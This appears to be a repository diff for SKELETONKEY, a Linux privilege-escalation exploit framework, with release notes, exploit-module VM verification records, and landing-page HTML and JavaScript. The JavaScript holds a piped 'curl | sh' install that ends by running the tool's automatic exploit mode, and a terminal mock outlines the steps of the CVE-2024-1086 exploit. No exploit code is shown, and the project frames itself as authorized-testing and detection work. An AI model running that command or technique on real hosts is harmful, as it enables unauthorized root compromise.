expectation was wrong; 4.15 is post-fix. Caught + corrected by the
|
||||
verifier sweep.
|
||||
- **`sudoedit_editor` on Ubuntu 22.04** — sudo 1.9.9 is the vulnerable
|
||||
version, but the default vagrant user has no sudoers grant to abuse.
|
||||
`detect()` correctly returns PRECOND_FAIL ("vuln version present, no
|
||||
grant to abuse").
|
||||
|
||||
### Coverage by audience
|
||||
|
||||
- **Red team**: `--auto` ranks vulnerable modules by safety + runs the
|
||||
safest, OPSEC notes per exploit, JSON for pipelines, no telemetry.
|
||||
- **Blue team**: 119 detection rules in all 4 SIEM formats, CISA KEV
|
||||
prioritization, MITRE ATT&CK + CWE annotated, `--explain` triage
|
||||
briefings.
|
||||
- **Researchers**: Source is the docs. CVE metadata sourced from
|
||||
federal databases. `--explain` shows the reasoning chain. 22 VM
|
||||
confirmations for trust.
|
||||
- **Sysadmins**: `--scan` works without sudo. Static-musl binary
|
||||
drops on any Linux. JSON output for CI gates.
|
||||
|
||||
### Compatibility
|
||||
|
||||
- Default install: static-musl x86_64 — works on every Linux back to
|
||||
glibc 2.17 (RHEL 7, Debian 9, Ubuntu 14.04+, Alpine, anything).
|
||||
- Also published: dynamic x86_64 (faster, modern glibc only) and
|
||||
dynamic arm64 (Raspberry Pi 4+, Apple Silicon Linux VMs, ARM
|
||||
servers).
|
||||
|
||||
### Authorized testing only
|
||||
|
||||
SKELETONKEY runs real exploits. By using it you assert you have
|
||||
explicit authorization to test the target system. See
|
||||
[`docs/ETHICS.md`](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md).
|
||||
|
||||
### Links
|
||||
|
||||
- [CVE inventory](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md)
|
||||
- [Verification records](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/VERIFICATIONS.jsonl)
|
||||
- [KEV cross-reference](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md)
|
||||
- [Detection playbook](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md)
|
||||
- [Architecture](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md)
|
||||
- [Roadmap](https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md)
|
||||
@@ -0,0 +1,36 @@
|
||||
{"module":"pwnkit","verified_at":"2026-05-23T19:26:02Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"cgroup_release_agent","verified_at":"2026-05-23T19:32:07Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"netfilter_xtcompat","verified_at":"2026-05-23T19:33:56Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"fuse_legacy","verified_at":"2026-05-23T19:35:49Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:43:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:44:38Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"entrybleed","verified_at":"2026-05-23T19:50:32Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs","verified_at":"2026-05-23T19:52:09Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs_setuid","verified_at":"2026-05-23T19:54:09Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T19:56:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"nft_fwd_dup","verified_at":"2026-05-23T19:57:46Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T19:59:24Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:00:52Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:02:23Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:04:20Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"cls_route4","verified_at":"2026-05-23T20:13:16Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_payload","verified_at":"2026-05-23T20:15:45Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet2","verified_at":"2026-05-23T20:18:13Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sequoia","verified_at":"2026-05-23T20:20:38Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T20:23:07Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:23:51Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:24:35Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:25:19Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T20:26:02Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:27:39Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:28:23Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"nf_tables","verified_at":"2026-05-23T21:22:59Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_unix_gc","verified_at":"2026-05-23T21:27:13Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_set_uaf","verified_at":"2026-05-23T21:30:41Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"stackrot","verified_at":"2026-05-23T21:34:12Z","host_kernel":"6.1.10-060110-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_chwoot","verified_at":"2026-05-24T02:39:11Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"udisks_libblockdev","verified_at":"2026-05-24T02:44:17Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_pipapo","verified_at":"2026-05-24T03:27:10Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
+213
@@ -0,0 +1,213 @@
|
||||
/* SKELETONKEY landing page — interactive bits.
|
||||
* No frameworks. ~150 lines vanilla JS. Respects prefers-reduced-motion. */
|
||||
|
||||
(function () {
|
||||
'use strict';
|
||||
|
||||
const reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
|
||||
|
||||
/* ============================================================
|
||||
* 1. typed install command in the hero
|
||||
* ============================================================ */
|
||||
const installCmd =
|
||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && export PATH="$HOME/.local/bin:$PATH" \\\n && skeletonkey --auto --i-know';
|
||||
const typedEl = document.getElementById('install-typed');
|
||||
const cursorEl = document.getElementById('install-cursor');
|
||||
|
||||
function typeInstall(cb) {
|
||||
if (reduceMotion) {
|
||||
typedEl.textContent = installCmd;
|
||||
if (cursorEl) cursorEl.style.display = 'none';
|
||||
if (cb) cb();
|
||||
return;
|
||||
}
|
||||
let i = 0;
|
||||
function step() {
|
||||
typedEl.textContent = installCmd.slice(0, i);
|
||||
i++;
|
||||
if (i <= installCmd.length) {
|
||||
setTimeout(step, 18 + Math.random() * 22);
|
||||
} else {
|
||||
if (cursorEl) {
|
||||
// keep cursor blinking for 2s, then hide
|
||||
setTimeout(() => { cursorEl.style.display = 'none'; }, 2000);
|
||||
}
|
||||
if (cb) cb();
|
||||
}
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 2. copy install command
|
||||
* ============================================================ */
|
||||
window.copyInstall = function (btn) {
|
||||
const text = installCmd;
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const original = btn.textContent;
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(() => {
|
||||
btn.textContent = original;
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
}).catch(() => {
|
||||
btn.textContent = '(copy failed)';
|
||||
setTimeout(() => { btn.textContent = 'copy'; }, 1500);
|
||||
});
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* 3. stat count-up animation on view
|
||||
* ============================================================ */
|
||||
function countUp(el) {
|
||||
const target = parseInt(el.dataset.target, 10);
|
||||
if (!target || reduceMotion) { el.textContent = target; return; }
|
||||
const dur = 1100;
|
||||
const start = performance.now();
|
||||
function tick(now) {
|
||||
const t = Math.min((now - start) / dur, 1);
|
||||
// ease-out
|
||||
const v = Math.round(target * (1 - Math.pow(1 - t, 3)));
|
||||
el.textContent = v;
|
||||
if (t < 1) requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 4. --explain terminal: line-by-line reveal
|
||||
* ============================================================ */
|
||||
const explainHTML = [
|
||||
'\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-mod">nf_tables</span> <span class="t-cve">CVE-2024-1086</span>\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-summary">nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">WEAKNESS</span>\n',
|
||||
' <span class="t-cwe">CWE-416</span>\n',
|
||||
' <span class="t-label">MITRE ATT&CK:</span> <span class="t-tech">T1068</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">THREAT INTEL</span>\n',
|
||||
' <span class="t-kev-yes">★ In CISA Known Exploited Vulnerabilities catalog (added 2024-05-30)</span>\n',
|
||||
' <span class="t-label">Affected:</span> 5.14 ≤ K, fixed mainline 6.8; backports: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210\n',
|
||||
'\n',
|
||||
'<span class="t-header">HOST FINGERPRINT</span>\n',
|
||||
' <span class="t-label">kernel:</span> 5.15.0-43-generic (x86_64)\n',
|
||||
' <span class="t-label">distro:</span> Ubuntu 22.04.5 LTS\n',
|
||||
' <span class="t-label">unpriv userns:</span> ALLOWED\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECT() TRACE (live; reads ctx->host, fires gates)</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: kernel 5.15.0-43-generic in vulnerable range</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: userns gate passed</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: nft_verdict_init reachable; bug is fireable here</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">VERDICT:</span> <span class="t-vuln">VULNERABLE</span>\n',
|
||||
' -> bug is reachable. The OPSEC section below shows what a successful\n',
|
||||
' exploit() would leave on this host.\n',
|
||||
'\n',
|
||||
'<span class="t-header">OPSEC FOOTPRINT (what exploit() leaves on this host)</span>\n',
|
||||
' unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE +\n',
|
||||
' NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO)\n',
|
||||
' committed twice. msg_msg cg-96 groom; dmesg: KASAN double-free on vuln\n',
|
||||
' kernels. Cleanup is finisher-gated; no persistent files on success.\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECTION COVERAGE (rules embedded in this binary)</span>\n',
|
||||
' <span class="t-check">✓</span> auditd <span class="t-check">✓</span> sigma <span class="t-check">✓</span> yara <span class="t-check">✓</span> falco\n',
|
||||
];
|
||||
function playExplain(el) {
|
||||
if (reduceMotion) { el.innerHTML = explainHTML.join(''); return; }
|
||||
let i = 0;
|
||||
el.innerHTML = '';
|
||||
function step() {
|
||||
if (i >= explainHTML.length) return;
|
||||
el.innerHTML += explainHTML[i];
|
||||
i++;
|
||||
// pause longer on blank lines to feel like real terminal output
|
||||
const next = explainHTML[i - 1];
|
||||
const delay = next === '\n' ? 60 : (45 + Math.random() * 50);
|
||||
setTimeout(step, delay);
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 5. quickstart tabs
|
||||
* ============================================================ */
|
||||
function initTabs() {
|
||||
const tabs = document.querySelectorAll('.tab');
|
||||
const panels = document.querySelectorAll('.tab-panel');
|
||||
tabs.forEach((t) => {
|
||||
t.addEventListener('click', () => {
|
||||
const tab = t.dataset.tab;
|
||||
tabs.forEach((x) => x.classList.toggle('active', x === t));
|
||||
panels.forEach((p) => p.classList.toggle('active', p.dataset.tab === tab));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 6. scroll-triggered reveal + first-time triggers
|
||||
* ============================================================ */
|
||||
function initReveal() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
document.querySelectorAll('.reveal').forEach((el) => el.classList.add('in'));
|
||||
// also fire one-shot animations immediately
|
||||
countAllStats();
|
||||
const explainEl = document.getElementById('explain-output');
|
||||
if (explainEl) playExplain(explainEl);
|
||||
return;
|
||||
}
|
||||
|
||||
const obs = new IntersectionObserver((entries) => {
|
||||
entries.forEach((e) => {
|
||||
if (e.isIntersecting) {
|
||||
e.target.classList.add('in');
|
||||
// fire one-shot effects when the right section becomes visible
|
||||
if (e.target.id === 'explain') {
|
||||
const out = e.target.querySelector('#explain-output');
|
||||
if (out && !out.dataset.played) {
|
||||
out.dataset.played = '1';
|
||||
playExplain(out);
|
||||
}
|
||||
}
|
||||
obs.unobserve(e.target);
|
||||
}
|
||||
});
|
||||
}, { threshold: 0.15 });
|
||||
|
||||
document.querySelectorAll('.reveal').forEach((el) => obs.observe(el));
|
||||
}
|
||||
|
||||
function countAllStats() {
|
||||
document.querySelectorAll('.stat-chip .num').forEach(countUp);
|
||||
}
|
||||
|
||||
/* fire the stats count-up as soon as the hero shows */
|
||||
function initStatsCountUp() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
countAllStats();
|
||||
return;
|
||||
}
|
||||
const row = document.getElementById('stats-row');
|
||||
if (!row) return;
|
||||
const o = new IntersectionObserver((es) => {
|
||||
if (es[0].isIntersecting) {
|
||||
countAllStats();
|
||||
o.disconnect();
|
||||
}
|
||||
});
|
||||
o.observe(row);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* boot
|
||||
* ============================================================ */
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
typeInstall();
|
||||
initTabs();
|
||||
initReveal();
|
||||
initStatsCountUp();
|
||||
});
|
||||
})();
|
||||
+615
@@ -0,0 +1,615 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||
<meta name="description" content="One binary. 45 Linux privilege-escalation modules from 2016 to 2026. 28 of 40 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||
<meta property="og:description" content="45 Linux LPE modules; 28 of 40 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://skeletonkey.netslum.io/">
|
||||
<meta property="og:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
||||
<meta property="og:image:width" content="1200">
|
||||
<meta property="og:image:height" content="630">
|
||||
<meta name="twitter:card" content="summary_large_image">
|
||||
<meta name="twitter:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
||||
<meta name="theme-color" content="#0a0a14">
|
||||
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;700&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet">
|
||||
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<!-- gradient mesh background, animated, fixed behind content -->
|
||||
<div class="bg-mesh" aria-hidden="true">
|
||||
<div class="mesh-blob mesh-blob-1"></div>
|
||||
<div class="mesh-blob mesh-blob-2"></div>
|
||||
<div class="mesh-blob mesh-blob-3"></div>
|
||||
</div>
|
||||
|
||||
<nav class="nav">
|
||||
<div class="container nav-inner">
|
||||
<a class="nav-brand" href="#">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</a>
|
||||
<div class="nav-links">
|
||||
<a href="#corpus">Corpus</a>
|
||||
<a href="#explain">--explain</a>
|
||||
<a href="#detection">Detection</a>
|
||||
<a href="#quickstart">Quickstart</a>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY" aria-label="GitHub">
|
||||
<svg height="18" viewBox="0 0 16 16" width="18" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<!-- ──────────────── HERO ──────────────── -->
|
||||
<header class="hero">
|
||||
<div class="container hero-inner">
|
||||
<div class="hero-eyebrow">
|
||||
<span class="dot dot-pulse"></span>
|
||||
v0.9.11 — released 2026-06-08
|
||||
</div>
|
||||
<h1 class="hero-title">
|
||||
<span class="display-wordmark">SKELETONKEY</span>
|
||||
</h1>
|
||||
<p class="hero-tag">
|
||||
One binary. <strong>45 Linux LPE modules</strong> covering 40 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 28 of 40 confirmed against
|
||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
||||
</p>
|
||||
|
||||
<div class="install-block">
|
||||
<div class="install-bar">
|
||||
<span class="install-dots" aria-hidden="true">
|
||||
<i></i><i></i><i></i>
|
||||
</span>
|
||||
<span class="install-title">terminal</span>
|
||||
<button class="copy" onclick="copyInstall(this)" aria-label="Copy install command">copy</button>
|
||||
</div>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> <span id="install-typed"></span><span class="cursor" id="install-cursor">▋</span></pre>
|
||||
</div>
|
||||
|
||||
<div class="stats-row" id="stats-row">
|
||||
<div class="stat-chip"><span class="num" data-target="45">0</span><span>modules</span></div>
|
||||
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
||||
<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||
</div>
|
||||
|
||||
<div class="cta-row">
|
||||
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">
|
||||
↓ Latest release
|
||||
</a>
|
||||
<a class="btn" href="#explain">See <code>--explain</code> in action</a>
|
||||
<a class="btn btn-ghost" href="https://github.com/KaraZajac/SKELETONKEY">
|
||||
<svg height="16" viewBox="0 0 16 16" width="16" fill="currentColor"><path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
|
||||
Source on GitHub
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<p class="hero-warn">Authorized testing only. See <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a>.</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<!-- ──────────────── TRUST STRIP ──────────────── -->
|
||||
<section class="trust-strip">
|
||||
<div class="container">
|
||||
<div class="trust-row">
|
||||
<span class="trust-label">Grounded in authoritative sources</span>
|
||||
<ul class="trust-items">
|
||||
<li>CISA KEV catalog</li>
|
||||
<li>NVD CVE API</li>
|
||||
<li>MITRE ATT&CK</li>
|
||||
<li>kernel.org stable tree</li>
|
||||
<li>Debian Security Tracker</li>
|
||||
<li>NIST CWE</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── --EXPLAIN SHOWCASE ──────────────── -->
|
||||
<section id="explain" class="section section-feature reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">flagship feature</span>
|
||||
<h2>One command. Complete briefing.</h2>
|
||||
<p class="lead">
|
||||
<code>skeletonkey --explain <module></code> renders the page every
|
||||
team needs: CVE / CWE / MITRE ATT&CK / CISA KEV status, host
|
||||
fingerprint, live detect() trace with verdict, OPSEC footprint, and
|
||||
the detection-rule coverage matrix. Triage tickets and SOC handoffs
|
||||
in one paste.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="terminal-shell">
|
||||
<div class="terminal-bar">
|
||||
<span class="install-dots" aria-hidden="true"><i></i><i></i><i></i></span>
|
||||
<span class="install-title">skk-host ~ $</span>
|
||||
</div>
|
||||
<pre class="terminal-body" id="explain-output"></pre>
|
||||
</div>
|
||||
|
||||
<div class="explain-annotations">
|
||||
<div class="annotation">
|
||||
<span class="anno-num">1</span>
|
||||
<div>
|
||||
<strong>Triage metadata in the header</strong>
|
||||
<p>CWE class, MITRE ATT&CK technique, CISA KEV status with
|
||||
date_added. Fed from <code>tools/refresh-cve-metadata.py</code>
|
||||
which pulls fresh from federal data sources.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">2</span>
|
||||
<div>
|
||||
<strong>Live host fingerprint</strong>
|
||||
<p>Cached once at startup by <code>core/host.c</code>. Every
|
||||
module sees the same kernel / arch / distro / userns / apparmor
|
||||
/ selinux / lockdown picture.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">3</span>
|
||||
<div>
|
||||
<strong>Real detect() trace</strong>
|
||||
<p>The verbose stderr of the module's own probe — each gate
|
||||
fires, each kernel_range entry checked, each verdict justified.
|
||||
No more black-box "VULNERABLE" outputs.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">4</span>
